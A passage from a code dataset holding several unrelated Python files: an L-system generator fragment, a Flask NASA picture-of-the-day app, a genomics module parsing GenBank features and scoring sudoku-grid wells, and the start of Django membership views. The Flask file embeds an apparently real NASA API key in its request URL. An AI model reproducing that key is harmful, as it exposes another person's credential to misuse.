0\n\n # Generate the next generation\n def generate(self):\n # \n nextgen = []\n # For every character in the sentence\n for i in range(0, len(self.sentence),1): \n # What is the character\n curr_char = self.sentence[i]\n # We will replace it with itself unless it matches one of our rules\n replace = \"\" + curr_char\n for j in range(0, len(self.ruleset), 1):\n a = self.ruleset[j].getA()\n # if we match the Rule, get the replacement String out of the Rule\n if a == curr_char:\n replace = self.ruleset[j].getB()\n break \n # Append replacement String\n nextgen.append(replace)\n # Replace sentence\n self.sentence = \"\".join(nextgen)\n # Increment generation\n self.generation += 1\n \n def get_sentence(self):\n return self.sentence \n\n def get_generation(self):\n return self.generation ","repo_name":"Maltiec/py5examples","sub_path":"Lsystem_graph/src/lsys.py","file_name":"lsys.py","file_ext":"py","file_size_in_byte":1256,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"38708735466","text":"# Kelvin Ng\n# SoftDev1 Pd1\n# K24 : A RESTful Journey Skywards\n# 2019-09-26\n\nfrom flask import Flask, render_template\nfrom json import loads\nfrom urllib.request import urlopen\n\napp = Flask(__name__)\n\n\n@app.route(\"/\")\ndef api():\n url = urlopen(\"https://api.nasa.gov/planetary/apod?api_key=f5dsiWP2TZ5cscN3jJviBarHppZKkdKqL5wZIcy2\")\n response = url.read()\n data = loads(response)\n return render_template(\"api.html\", pic = data['url'], description = data['explanation'])\n\nif __name__ == \"__main__\":\n\tapp.debug = True\n\tapp.run()\n","repo_name":"KelvinNg0/SoftDev-Work","sub_path":"24_rest/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":536,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"33729534514","text":"\n# ------------------------------------------------------------------------------------------------ #\nclass Feature3:\n# An updated and simplified version of the feature2 class.\n\tdef __init__(self, featureType, coordinates):\n\t\tself.coordinates = coordinates\n\t\tself.featureType = featureType\n\t\tself.tagDict = {}\n\t\t\n\t\tself.sudokuGridEntries = []\n\t\t\n\t\tself.featureName = ''\n\t\n\t\t[self.startCoord, self.endCoord, self.startTranslation, self.endTranslation] \\\n\t\t= self.calculateStartAndEndCoords(coordinates)\n\t\t\n\n\t\n\tdef updateTagDict(self, tag, tagData):\n\t\t\n\t\ttagDictKeys = list(self.tagDict.keys())\n\t\t\n\t\tif tag not in tagDictKeys:\n\t\t\tself.tagDict[tag] = []\n\t\t\tself.tagDict[tag].append(tagData)\n\t\telse:\n\t\t\tself.tagDict[tag].append(tagData)\n\t\t\n\t\treturn\n\t\t\n\tdef updateName(self):\n\t\tfeatureTagDictKeys = list(self.tagDict.keys())\n\t\n\t\tif 'gene' in featureTagDictKeys:\n\t\t\tgeneName = self.tagDict['gene'][0]\n\t\telif 'note' in featureTagDictKeys:\n\t\t\tgeneName = self.tagDict['note'][0]\n\t\telif 'locus_tag' in featureTagDictKeys:\n\t\t\tgeneName = self.tagDict['locus_tag'][0]\n\t\telse:\n\t\t\tgeneName = ''\n\t\n\t\tself.featureName = geneName\n\t\t\n\t\treturn\n\t\n\tdef calculateStartAndEndCoords(self, coordinates):\n\t\timport re\n\t\tcoordsRe = re.compile(r'(\\d+)\\.\\.(\\d+)')\n\t\tcomplementRe = re.compile(r'complement\\(')\n\t\tjoinRe = re.compile(r'join\\(')\n\t\tjoinedCoordsRe = re.compile(r'(\\d+)\\.\\.(\\d+)\\,(\\d+)\\.\\.(\\d+)')\n\t\t\n\t\tcoordsMatch = coordsRe.search(coordinates)\n\t\tcomplementMatch = complementRe.search(coordinates)\n\t\tjoinMatch = joinRe.search(coordinates)\n\t\tjoinedCoordsMatch = joinedCoordsRe.search(coordinates)\n\t\t\n\t\tif (coordsMatch == None) and (joinedCoordsMatch == None):\n\t\t\tprint('Error in matching coordinates!')\n\t\telse:\n\t\t\tif joinMatch != None and complementMatch == None:\n\t\t\t\tstartCoord = int(joinedCoordsMatch.group(1))\n\t\t\t\tendCoord = int(joinedCoordsMatch.group(4))\n\t\t\t\tstartTranslation = int(joinedCoordsMatch.group(1))\n\t\t\t\tendTranslation = int(joinedCoordsMatch.group(4))\n\t\t\telif joinMatch != None and complementMatch != None:\n\t\t\t\tstartCoord = int(joinedCoordsMatch.group(1))\n\t\t\t\tendCoord = int(joinedCoordsMatch.group(4))\n\t\t\t\tstartTranslation = int(joinedCoordsMatch.group(4))\n\t\t\t\tendTranslation = int(joinedCoordsMatch.group(1))\n\t\t\telif complementMatch == None and joinMatch == None:\n\t\t\t\tstartCoord = int(coordsMatch.group(1))\n\t\t\t\tendCoord = int(coordsMatch.group(2))\n\t\t\t\tstartTranslation = int(coordsMatch.group(1))\n\t\t\t\tendTranslation = int(coordsMatch.group(2))\n\t\t\telif complementMatch != None and joinMatch == None:\n\t\t\t\tstartCoord = int(coordsMatch.group(1))\n\t\t\t\tendCoord = int(coordsMatch.group(2))\n\t\t\t\tstartTranslation = int(coordsMatch.group(2))\n\t\t\t\tendTranslation = int(coordsMatch.group(1))\n\t\treturn [startCoord, endCoord, startTranslation, endTranslation]\n\t\n# ------------------------------------------------------------------------------------------------ #\n\n\n\n\n\n\t\t\n# ------------------------------------------------------------------------------------------------ #\nclass SudokuGridEntrySummaryLine:\n\n\tdef __init__(self, plateName, row, col, od, rearrayedPlateName, rearrayedRow, \\\n\trearrayedCol, cellDensityScore, noCoordsNotInFeature, coordsInFeatureArray, \\\n\ttotalScore, totalProbabilityOfPicking, gridChoice, referringFeature):\n\t\tself.row = row\n\t\tself.col = col\n\t\tself.plateName = plateName\n\t\tself.rearrayedRow = rearrayedRow\n\t\tself.rearrayedCol = rearrayedCol\n\t\tself.rearrayedPlateName = rearrayedPlateName\n\t\tself.gridChoice = gridChoice\n\t\tself.cellDensityScore = cellDensityScore\n\t\tself.noCoordsNotInFeature = noCoordsNotInFeature\n\t\tself.noCoordsInFeature = len(coordsInFeatureArray)\n\t\tself.od = od\n\t\tself.coordsInFeatureArray = coordsInFeatureArray \n\t\tself.totalScore = totalScore\n\t\tself.referringFeature = referringFeature\n\t\tself.totalProbabilityOfPicking = totalProbabilityOfPicking\n\t\tself.colonyPurificationWells = None\n\t\t\n\t\treturn\n\t\n\tdef calculateMinimumColoniesToPick(self, mode='inverseProbability',pickProbability=0.8):\n\t\t\n\t\tfrom numpy import log\n\t\timport pdb\n\t\timport math\n\t\tfrom math import ceil, floor\n\t\t\n\t\t\n\t\t\n\t\tif mode == 'inverseProbability':\n\t\t\tpA = self.totalProbabilityOfPicking\n\t\telif mode == 'inverseFeatureCount':\n\t\t\tpA = (self.noCoordsInFeature/(self.noCoordsNotInFeature + self.noCoordsInFeature))\n\t\t\n\t\tif pA == 1.0:\n\t\t\tminimumColoniesToPick = 1.0\n\t\telse:\n\t\t\tminimumColoniesToPick = floor(log(1-pickProbability)/log(1-pA))\n\t\t\t\n\t\t\n\t\treturn minimumColoniesToPick\n\t\n\tdef getPlateName(self, fillNumber=3):\n\t\t\n\t\tif self.gridChoice == 'sudokuGrid':\n\t\t\tplateNameToReturn = str(self.plateName).zfill(fillNumber)\n\t\telif self.gridChoice == 'rearrayedGrid':\n\t\t\tplateNameToReturn = str(self.rearrayedPlateName).zfill(fillNumber)\n\t\t\n\t\treturn plateNameToReturn\n\t\n\tdef getRow(self, fillNumber=3):\n\t\t\n\t\tif self.gridChoice == 'sudokuGrid':\n\t\t\trowToReturn = str(self.row).zfill(fillNumber)\n\t\telif self.gridChoice == 'rearrayedGrid':\n\t\t\trowToReturn = str(self.rearrayedRow).zfill(fillNumber)\n\t\t\n\t\treturn rowToReturn\n\t\n\tdef getCol(self, fillNumber=3):\n\t\t\n\t\tif self.gridChoice == 'sudokuGrid':\n\t\t\tcolToReturn = str(self.col).zfill(fillNumber)\n\t\telif self.gridChoice == 'rearrayedGrid':\n\t\t\tcolToReturn = str(self.rearrayedCol).zfill(fillNumber)\n\t\t\n\t\treturn colToReturn\n\t\n\tdef getGrid(self):\n\t\t\n\t\tif self.gridChoice == 'sudokuGrid':\n\t\t\tgridToReturn = 'sudoku'\n\t\telif self.gridChoice == 'rearrayedGrid':\n\t\t\tgridToReturn = 'rearrayed'\n\t\t\n\t\treturn gridToReturn\n\n\t\n\tdef printSummaryLine(self, gridReportingChoice='sudokuGrid', gridReportingOn=False, \\\n\tprintHeaderLine=False, directOutput=False, minimumPickMode='inverseFeatureCount'):\n\t\t# Grid choice here is the grid that we want to report on\n\t\t\n\t\tif gridReportingChoice == 'sudokuGrid':\n\t\t\trow = self.row\n\t\t\tcol = self.col\n\t\t\tplateName = self.plateName\n\t\t\n\t\telif gridReportingChoice == 'rearrayedGrid':\n\t\t\trow = self.rearrayedRow\n\t\t\tcol = self.rearrayedCol\n\t\t\tplateName = self.rearrayedPlateName\n\t\t\t\n\t\t\t\n\t\tminimumColoniesToPick = self.calculateMinimumColoniesToPick(mode=minimumPickMode)\n\t\t\n\t\tdataStr = str(plateName) + '_' + str(row) + str(col) + ': '\n\t\t\n\t\tdataStr += WriteSummaryOfGridEntryGenomicCoordsArray2(self.coordsInFeatureArray)\n\t\t\n\t\tdataStr += ', ' + str(self.noCoordsInFeature) + ', ' + str(self.noCoordsNotInFeature) \\\n\t\t+ ', ' + str(self.od) + ', ' + str(self.totalScore) + ', ' \\\n\t\t+ str(self.totalProbabilityOfPicking) + ', ' + str(minimumColoniesToPick)\n\t\t\n\t\tif gridReportingOn == True:\n\t\t\tdataStr += ', ' + gridReportingChoice\n\t\t\n\t\treturn dataStr\n\t\n\t\n\tdef printSummaryLineForDirectCSVOutput(self, gridReportingChoice='sudokuGrid', \\\n\tgridReportingOn=False, printHeaderLine=False, minimumPickMode='inverseFeatureCount', \\\n\tincludeCarriageReturn=True):\n\t\n\t\timport pdb\n\t\t\n\t\t# Grid choice here is the grid that we want to report on\n\t\t\n\t\tif gridReportingChoice == 'sudokuGrid':\n\t\t\trow = self.row\n\t\t\tcol = self.col\n\t\t\tplateName = self.plateName\n\t\t\n\t\telif gridReportingChoice == 'rearrayedGrid':\n\t\t\trow = self.rearrayedRow\n\t\t\tcol = self.rearrayedCol\n\t\t\tplateName = self.rearrayedPlateName\n\t\t\n\t\t\n\t\tif self.gridChoice == 'sudokuGrid':\n\t\t\tplateToPickFrom = self.plateName\n\t\t\trowToPickFrom = self.row\n\t\t\tcolToPickFrom = self.col\n\t\telif self.gridChoice == 'rearrayedGrid':\n\t\t\tplateToPickFrom = self.rearrayedPlateName\n\t\t\trowToPickFrom = self.rearrayedRow\n\t\t\tcolToPickFrom = self.rearrayedCol\n\t\t\n\t\tminimumColoniesToPick = self.calculateMinimumColoniesToPick(mode=minimumPickMode)\n\t\t\n\t\theaderStr = 'Plate,Row,Column,Rearrayed Plate,Rearrayed Row,Rearrayed Col,' \\\n\t\t+ '\"Summary of Genomic Coords (Coords, Distance To Translation Start, Locatability, ' \\\n\t\t+ 'Pick Probability)\",No Coords in Feature,No Coords not in Feature,OD,Total Score,' \\\n\t\t+ 'Total Probability of Picking,Minimum Colonies To Pick,Colony Purification Well,' \\\n\t\t+ 'Grid Choice,Plate To Pick From,Row to Pick From,Col to Pick From'\n\t\t\n\t\tdataStr = str(plateName) + ',' + str(row) + ',' + str(col) + ','\n\t\tdataStr += str(self.rearrayedPlateName) + ',' + str(self.rearrayedRow) + ',' \\\n\t\t+ str(self.rearrayedCol) + ','\n\t\t\n\t\tdataStr += '\"' + WriteSummaryOfGridEntryGenomicCoordsArray3(self.coordsInFeatureArray) + '\"'\n\t\t\n\t\tdataStr += ',' + str(self.noCoordsInFeature) + ',' + str(self.noCoordsNotInFeature) \\\n\t\t+ ',' + str(self.od) + ',' + str(self.totalScore) + ',' \\\n\t\t+ str(self.totalProbabilityOfPicking) + ',' + str(minimumColoniesToPick) + ',' \\\n\t\t+ '\"' + str(self.colonyPurificationWells) + '\"'\n\t\t\n\t\tdataStr += ',' + str(self.gridChoice) + ',' + str(plateToPickFrom) \\\n\t\t+ ',' + str(rowToPickFrom) + ',' + str(colToPickFrom)\n\t\t\n# \t\tpdb.set_trace()\n\t\t\n\t\tif includeCarriageReturn == True:\n\t\t\tEOLChar = '\\n'\n\t\telse:\n\t\t\tEOLChar = ''\n\t\t\n\t\tif gridReportingOn == True:\n\t\t\tdataStr += ',' + gridReportingChoice + EOLChar\n\t\t\theaderStr += ',Grid Reporting Choice' + '\\n'\n\t\telse:\n\t\t\theaderStr += EOLChar\n\t\t\tdataStr += EOLChar\n\t\t\n\t\tif printHeaderLine == True:\n\t\t\toutputStr = headerStr + dataStr\n\t\telse:\n\t\t\toutputStr = dataStr\n\t\t\n\t\treturn outputStr\n\t\n\t\n\t\n\tdef printPickingInstructions(self, minimumPickMode='inverseFeatureCount'):\n\t\n\t\timport pdb\n\t\t\t\t\n\t\tif self.gridChoice == 'sudokuGrid':\n\t\t\tplateToPickFrom = self.plateName\n\t\t\trowToPickFrom = self.row\n\t\t\tcolToPickFrom = self.col\n\t\t\tgridChoice = 'S'\n\t\telif self.gridChoice == 'rearrayedGrid':\n\t\t\tplateToPickFrom = self.rearrayedPlateName\n\t\t\trowToPickFrom = self.rearrayedRow\n\t\t\tcolToPickFrom = self.rearrayedCol\n\t\t\tgridChoice = 'R'\t\n\t\t\n\t\tminimumColoniesToPick = self.calculateMinimumColoniesToPick(mode=minimumPickMode)\n\t\t\n\t\tcolonyPurificationWellsStr = ''\n\t\t\n\t\tif len(self.colonyPurificationWells) == 1:\n\t\t\twell = self.colonyPurificationWells[0]\n\t\t\tcolonyPurificationWellsStr = str(well[1]) + '_' + str(well[0])\n\t\t\n\t\telif len(self.colonyPurificationWells) == 2:\n\t\t\twell0 = self.colonyPurificationWells[0]\n\t\t\twell1 = self.colonyPurificationWells[1]\n\t\t\tcolonyPurificationWellsStr = str(well0[1]) + '_' + str(well0[0])\n\t\t\tcolonyPurificationWellsStr += ', ' + str(well1[1]) + '_' + str(well1[0])\n\t\t\n\t\telif len(self.colonyPurificationWells) > 2:\n\t\t\tfirstWell = self.colonyPurificationWells[0]\n\t\t\tlastWell = self.colonyPurificationWells[-1]\t\t\t\n\t\t\tcolonyPurificationWellsStr = str(firstWell[1]) + '_' + str(firstWell[0])\n\t\t\tcolonyPurificationWellsStr += ' - ' + str(lastWell[1]) + '_' + str(lastWell[0])\n\t\t\n\t\t\n\t\tdataStr = '\"' + str(gridChoice) + '_' + str(plateToPickFrom) + '_' \\\n\t\t+ str(rowToPickFrom) + str(colToPickFrom) + '\\n' + colonyPurificationWellsStr + '\"'\n\t\t\t\t\n\t\treturn dataStr\n\n# ------------------------------------------------------------------------------------------------ #\n\n\n\n\n\n\n# ------------------------------------------------------------------------------------------------ #\ndef FindWellsWithDisruptionBetweenStartAndEndCoords(sudokuWellList, startCoord, endCoord, \\\nstartTranslation, endTranslation):\n\t\n\ti = 0\n\t\n\twellsToReturn = []\n\t\n\ttranslationLength = abs(endTranslation - startTranslation)\n\t\n\tfor well in sudokuWellList:\n\t\t\n\t\trow = well.row\n\t\tcol = well.col\n\t\tpr = well.plateRow\n\t\tpc = well.plateCol\n\t\taddressDict = well.addressDict\n\t\t\n\t\treadAlignmentCoordsArray = well.readAlignmentCoords\n\t\ttempWellsToReturn = []\n\t\twellOccupants = len(readAlignmentCoordsArray)\n\t\t\n\t\tfor sudokuCoord in readAlignmentCoordsArray:\n\t\t\t\n\t\t\tcoord = sudokuCoord.coord\n\t\t\tlocatability = sudokuCoord.locatability\n\t\t\tfracDistFromTranslationStart = abs(coord - startTranslation)/translationLength\n\t\t\tdistFromTranslationStart = abs(coord - startTranslation)\n\t\t\t\n\t\t\tif startCoord < coord < endCoord:\n\t\t\t\ttempWellsToReturn.append({'plateName':well.plateName, 'multipleOccupancy':False, \\\n\t\t\t\t'readAlignmentCoord':coord, 'row':row, 'col':col, 'plateRow':pr, 'plateCol':pc, \\\n\t\t\t\t'locatability':locatability, \\\n\t\t\t\t'fracDistFromTranslationStart':fracDistFromTranslationStart, \\\n\t\t\t\t'addressDict':addressDict, 'distFromTranslationStart':distFromTranslationStart, \\\n\t\t\t\t'wellOccupants':wellOccupants})\n\t\t\n\t\tif len(readAlignmentCoordsArray) > 1:\n\t\t\tfor tempWell in tempWellsToReturn:\n\t\t\t\ttempWell['multipleOccupancy'] = True\n\t\t\n\t\tfor tempWell in tempWellsToReturn:\n\t\t\twellsToReturn.append(tempWell)\n\n\t\n\treturn wellsToReturn\n# ------------------------------------------------------------------------------------------------ #\n\n\n# ------------------------------------------------------------------------------------------------ #\ndef UpdateFeatureArrayWithSudokuWells(featureArray, sudokuWellList):\n\n\timport pdb\n\n\ti = 0 \n\twhile i < len(featureArray):\n\t\tfeature = featureArray[i]\t\t\n\t\tstartCoord = feature.startCoord\n\t\tendCoord = feature.endCoord\n\t\tstartTranslation = feature.startTranslation\n\t\tendTranslation = feature.endTranslation\n\t\t\n\t\twellsWithDisruptionsMatchingFeature = \\\n\t\tFindWellsWithDisruptionBetweenStartAndEndCoords(sudokuWellList, startCoord, endCoord, \\\n\t\tstartTranslation, endTranslation)\n\t\t\n\t\tfor well in wellsWithDisruptionsMatchingFeature:\n\t\t\tfeature.sudokuGridEntries.append(well)\n\t\t\n\t\ti += 1\n\t\t\t\n\t\t\n\treturn\n# ------------------------------------------------------------------------------------------------ #\n\n\n\n# ------------------------------------------------------------------------------------------------ #\ndef CalculateFeatureArrayTaxonomy(featureArray):\n\t\n\timport pdb\n\t\n\tkeysInPrintOrder = [\\\n\t'totalFeatures',\\\n\t'featuresWithAtLeastOneDisruption',\\\n\t'featuresWithNoDisruptions',\\\n\t'featuresWithNoDisruptionsInSinglyOccupiedWells', \\\n\t'featuresWithDisruptionsInSinglyOccupiedWells', \\\n\t'featuresWithAtLeastOneUnambiguouslyMappingDisruption', \\\n\t'featuresWithAtLeastOneDisruptionInFirstQuarter', \\\n\t'featuresWithAtLeastOneUnambiguouslyMappingDisruptionInFirstQuarter', \\\n\t'featuresWithAtLeastOneSingleOccupanyDisruptionInFirstQuarter', \\\n\t'featuresWithAtLeastOneDisruptionInFirstTenth', \\\n\t'featuresWithAtLeastOneUnambiguouslyMappingDisruptionInFirstTenth', \\\n\t'featuresWithAtLeastOneSingleOccupanyDisruptionInFirstTenth']\n\t\n\ttaxonomyDict = {}\n\t\n\tfor key in keysInPrintOrder:\n\t\ttaxonomyDict[key] = 0\n\t\n\tfor feature in featureArray:\n\t\ttaxonomyDict['totalFeatures'] += 1\n\t\tunambiguousEntryFound = False\n\t\tentryInFirstQuarterOfCDSFound = False\n\t\tunambiguousEntryInFirstQuarterOfCDSFound = False\n\t\tsingleOccupancyEntryInFirstQuarterFound = False\n\t\tentryInFirstTenthOfCDSFound = False\n\t\tunambiguousEntryInFirstTenthOfCDSFound = False\n\t\tsingleOccupancyEntryInFirstTenthFound = False\n\t\t\n\t\tif len(feature.sudokuGridEntries) == 0:\n\t\t\ttaxonomyDict['featuresWithNoDisruptions'] += 1\n\t\t\n\t\tif len(feature.sudokuGridEntries) > 0:\n\t\t\ttaxonomyDict['featuresWithAtLeastOneDisruption'] += 1\n\t\t\t\n\t\t\tentriesInSinglyOccupiedWells = 0\n\t\t\t\n\t\t\tfor entry in feature.sudokuGridEntries:\n\t\t\t\tif entry['multipleOccupancy'] == False:\n\t\t\t\t\tentriesInSinglyOccupiedWells += 1\n\t\t\t\t\t\n\t\t\t\tif entry['fracDistFromTranslationStart'] <= 0.25:\n\t\t\t\t\tentryInFirstQuarterOfCDSFound = True\n\t\t\t\t\n\t\t\t\tif entry['fracDistFromTranslationStart'] <= 0.1:\n\t\t\t\t\tentryInFirstTenthOfCDSFound = True\n\t\t\t\t\n\t\t\t\tif entry['locatability'] == 'unambiguous':\n\t\t\t\t\tunambiguousEntryFound = True\n\t\t\t\t\n\t\t\t\tif entry['locatability'] == 'unambiguous' and \\\n\t\t\t\tentry['fracDistFromTranslationStart'] <= 0.25:\n\t\t\t\t\tunambiguousEntryInFirstQuarterOfCDSFound = True\n\t\t\t\t\n\t\t\t\tif entry['locatability'] == 'unambiguous' and \\\n\t\t\t\tentry['fracDistFromTranslationStart'] <= 0.1:\n\t\t\t\t\tunambiguousEntryInFirstTenthOfCDSFound = True\n\t\t\t\t\t\n\t\t\t\tif entry['multipleOccupancy'] == False and \\\n\t\t\t\tentry['fracDistFromTranslationStart'] <= 0.25:\n\t\t\t\t\tsingleOccupancyEntryInFirstQuarterFound = True\n\t\t\t\t\n\t\t\t\tif entry['multipleOccupancy'] == False and \\\n\t\t\t\tentry['fracDistFromTranslationStart'] <= 0.1:\n\t\t\t\t\tsingleOccupancyEntryInFirstTenthFound = True\n\t\t\t\t\n\t\t\t\t\n\t\t\tif entriesInSinglyOccupiedWells == 0:\n\t\t\t\ttaxonomyDict['featuresWithNoDisruptionsInSinglyOccupiedWells'] += 1\n\t\t\telif entriesInSinglyOccupiedWells > 0:\n\t\t\t\ttaxonomyDict['featuresWithDisruptionsInSinglyOccupiedWells'] += 1\n\t\t\t\n\t\t\tif unambiguousEntryFound:\n\t\t\t\ttaxonomyDict['featuresWithAtLeastOneUnambiguouslyMappingDisruption'] += 1\n\t\t\t\n\t\t\tif unambiguousEntryInFirstQuarterOfCDSFound:\n\t\t\t\ttaxonomyDict['featuresWithAtLeastOneUnambiguouslyMappingDisruptionInFirstQuarter']\\\n\t\t\t\t+= 1\n\t\t\t\n\t\t\tif entryInFirstQuarterOfCDSFound:\n\t\t\t\ttaxonomyDict['featuresWithAtLeastOneDisruptionInFirstQuarter'] += 1\n\t\t\t\n\t\t\tif singleOccupancyEntryInFirstQuarterFound:\n\t\t\t\ttaxonomyDict['featuresWithAtLeastOneSingleOccupanyDisruptionInFirstQuarter'] += 1\n\t\t\t\n\t\t\tif unambiguousEntryInFirstTenthOfCDSFound:\n\t\t\t\ttaxonomyDict['featuresWithAtLeastOneUnambiguouslyMappingDisruptionInFirstTenth']\\\n\t\t\t\t+= 1\n\t\t\t\n\t\t\tif entryInFirstTenthOfCDSFound:\n\t\t\t\ttaxonomyDict['featuresWithAtLeastOneDisruptionInFirstTenth'] += 1\n\t\t\t\n\t\t\tif singleOccupancyEntryInFirstTenthFound:\n\t\t\t\ttaxonomyDict['featuresWithAtLeastOneSingleOccupanyDisruptionInFirstTenth'] += 1\n\t\t\t\n\t\t\t\n\t\n\t\n\tPrintFeatureArrayTaxonomyDict(taxonomyDict, keysInPrintOrder)\n\t\n\treturn taxonomyDict\n# ------------------------------------------------------------------------------------------------ #\n\n\n# ------------------------------------------------------------------------------------------------ #\ndef PrintFeatureArrayTaxonomyDict(taxonomyDict, keysInPrintOrder):\n\t\n\toutputStr = ''\n\t\n\tfor key in keysInPrintOrder:\n\t\toutputStr += key + ': ' + str(taxonomyDict[key]) + '\\n'\n\t\n\tprint(outputStr)\n\treturn\n# ------------------------------------------------------------------------------------------------ #\n\n\n\n# ------------------------------------------------------------------------------------------------ #\ndef ImportFeatureArrayFromGenBank(genBankFile):\n# A heavily updated version of FindFeaturesInGenome. Can deal with all sorts of tags, rather than\n# just genes and can deal with joined CDSs. \n\n\timport re\n\timport pdb\n\t\n\tfeatureNameRe = re.compile(r'\\s+/gene=[\\'|\"](\\w+)[\\'|\"]')\n\t\n\tfeatureStartRe = re.compile(r'\\s+(\\w+)\\s+([complement\\(|join\\(]*\\d+\\.\\.\\d+[\\,\\d+\\.\\.\\d+]*[\\)]*)')\n\t\n\tfeatureTagRe = \\\n\tre.compile(r'\\s+/([a-zA-Z0-9_\\-]+)=([\\'|\"]*)([\\[\\]a-zA-Z0-9_\\-\\.\\,\\:?!><\\- \\t\\&\\*\\(\\)/;\\+\\/`\\']+)([\\'|\"]*)')\n# \tre.compile(r'\\s+/([a-zA-Z0-9_\\-]+)=([\\'|\"]*)([\\[a\\]-zA-Z0-9_\\-\\.\\,\\:\\?\\! \\t\\&\\*\\(\\)/;\\+\\/`\\']+)([\\'|\"]*)')\n\n\t\n\tfeatureTagRe2 = \\\n\tre.compile(r'\\s+/([a-zA-Z0-9_\\-]+)')\n\t\n\tsequenceSectionStartRe = re.compile(r'\\s*ORIGIN')\n\tfeatureSectionStartRe = re.compile(r'\\s*FEATURES')\n\n\t\n\tfileHandle = open(genBankFile, 'r')\n\t\n\tdata = fileHandle.readlines()\n\tfileHandle.close()\n\t\n\t\n\tfeatureArray = []\n\t\n\ti = 0\n\tcurrentCoordinates = None\n\tcurrentFeature = None\n\t\n\tinFeatureEntry = False\n\t\n\tinFeatureSection = False\n\tinSequenceSection = False\n\t\n\tcontinuationNeeded = False\n\t\n\t\n\twhile i < len(data):\n\t\t\t\n\t\tline = data[i]\n\t\t\n\t\t# Start looking for the start of a gene record\n\t\t\n\t\tfeatureSectionStartMatch = featureSectionStartRe.match(line)\n\t\tsequenceSectionStartMatch = sequenceSectionStartRe.match(line)\n\t\t\n\t\tif featureSectionStartMatch != None:\n\t\t\tinFeatureSection = True\n\t\t\tinSequenceSection = False\n\t\t\tinFeatureEntry = False\n\t\t\t\n\t\tif sequenceSectionStartMatch != None:\n\t\t\tinFeatureSection = False\n\t\t\tinSequenceSection = True\n\t\t\tinFeatureEntry = False\n\t\t\t\n\t\t\tif currentFeature != None:\n\t\t\t\tfeatureArray.append(currentFeature)\n\t\t\t\n\t\t\n\t\tif inFeatureSection and not inSequenceSection:\n\t\t\t\n\t\t\tfeatureStartMatch = featureStartRe.search(line)\n\t\t\t\t\t\n\t\t\tif (featureStartMatch != None):\n\t\t\t\tif currentFeature != None:\n\t\t\t\t\tfeatureArray.append(currentFeature)\n\t\t\t\t\n\t\t\t\t# Now, start getting the new feature\n\t\t\t\tinInterestingRecord = True\n\t\t\t\tcurrentFeatureType = featureStartMatch.group(1)\n\t\t\t\tcurrentCoordinates = featureStartMatch.group(2)\n\t\t\t\n\t\t\t\t# Initialize a new current feature\n\t\t\t\tcurrentFeature = Feature3(currentFeatureType, currentCoordinates)\n\t\t\t\tinFeatureEntry = True\n\t\t\t\t\n\t\t\telse:\n\t\t\t\tif inFeatureEntry == True:\n\t\t\t\t\t\n\t\t\t\t\tfeatureTagMatch = featureTagRe.search(line)\n\t\t\t\t\tfeatureTagMatch2 = featureTagRe2.match(line)\n\t\t\t\t\t\n\t\t\t\t\tif (featureTagMatch != None):\n\t\t\t\t\t\t\n\t\t\t\t\t\tif continuationNeeded == True:\n\t\t\t\t\t\t\tprint(\"continuation error step 1!\")\n\t\t\t\t\t\t\tpdb.set_trace()\n\t\t\t\t\t\t\treturn\n\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t\tcurrentTag = featureTagMatch.group(1)\n\t\t\t\t\t\tcurrentTagData = featureTagMatch.group(3).strip()\n\t\t\t\t\t\t\n\t\t\t\t\t\tcurrentStartQuote = featureTagMatch.group(2).strip()\n\t\t\t\t\t\tcurrentEndQuote = featureTagMatch.group(4).strip()\n\t\t\t\t\t\t\n\t\t\t\t\t\t# If the tag data starts with a quote but doesn't end with a quote, \n\t\t\t\t\t\t# then continue onto the next line\n\t\t\t\t\t\tif ((currentStartQuote == '\"') or (currentStartQuote == '\\'')) \\\n\t\t\t\t\t\tand (currentEndQuote == ''):\n\t\t\t\t\t\t\tcontinuationNeeded = True\n\t\t\t\t\t\n\t\t\t\t\tif (featureTagMatch2 != None) and (featureTagMatch == None) \\\n\t\t\t\t\tand (continuationNeeded == False):\n\t\t\t\t\t\t# print(featureTagMatch2.group(1))\n# \t\t\t\t\t\tprint(currentCoordinates)\n\t\t\t\t\t\tcurrentTag = featureTagMatch2.group(1)\n\t\t\t\t\t\tcurrentTagData = True\n\t\t\t\t\t\n\t\t\t\t\t\t\t\n\t\t\t\t\tif continuationNeeded == True and featureTagMatch == None:\n\t\t\t\t\t\tcurrentTagData += line.strip()\n\t\t\t\t\t\tcurrentTagEnding = currentTagData[-1]\n\t\t\t\t\t\t\n\t\t\t\t\t\tif ((currentTagEnding == '\"') or (currentTagEnding == '\\'')):\n\t\t\t\t\t\t\tcurrentTagData = currentTagData[0:-1]\n\t\t\t\t\t\t\tcontinuationNeeded = False\n\t\t\t\t\t\t\n\t\t\t\t\tif continuationNeeded == False:\n# \t\t\t\t\t\tprint(currentTag + str(currentTagData))\n\t\t\t\t\t\tcurrentFeature.updateTagDict(currentTag, currentTagData)\n\t\t\t\t\n\t\ti += 1\n\t\n\tfor feature in featureArray:\n\t\tfeature.updateName()\n\t\t\n\t\n\treturn featureArray\n# ------------------------------------------------------------------------------------------------ #\n\n","repo_name":"buzbarstow/kosudoku","sub_path":"programs/kosudoku/feature.py","file_name":"feature.py","file_ext":"py","file_size_in_byte":21177,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"5"} +{"seq_id":"34084872760","text":"from django.shortcuts import render\n\n# Create your views here.\nfrom django.shortcuts import render, redirect, get_object_or_404\nfrom .models import Registration, Region, District, User\nfrom .forms import RegistrationForm, RegionForm, DistrictForm\n\n\ndef home(request):\n # Add your logic for the home view here\n # For example, you can retrieve data from models and pass it to the template\n members = User.objects.all()\n reg = Registration.objects.all()\n context = {\n 'message': 'Karibu Tawi la YANGA ROCK CITY MWANZA',\n 'member': members,\n 'Registered': reg,\n }\n return render(request, 'membership/index.html', context)\n\n\n# View for creating a new registration\ndef registration_create(request):\n form = RegistrationForm(request.POST or None)\n if form.is_valid():\n form.save()\n return redirect('registration_list')\n context = {\n 'form': form,\n }\n return render(request, 'registration_create.html', context)\n\n\n# View for updating an existing registration\ndef registration_update(request, pk):\n registration = get_object_or_404(Registration, pk=pk)\n form = RegistrationForm(request.POST or None, instance=registration)\n if form.is_valid():\n form.save()\n return redirect('registration_list')\n context = {\n 'form': form,\n }\n return render(request, 'registration_update.html', context)\n\n\n# View for deleting a registration\ndef registration_delete(request, pk):\n registration = 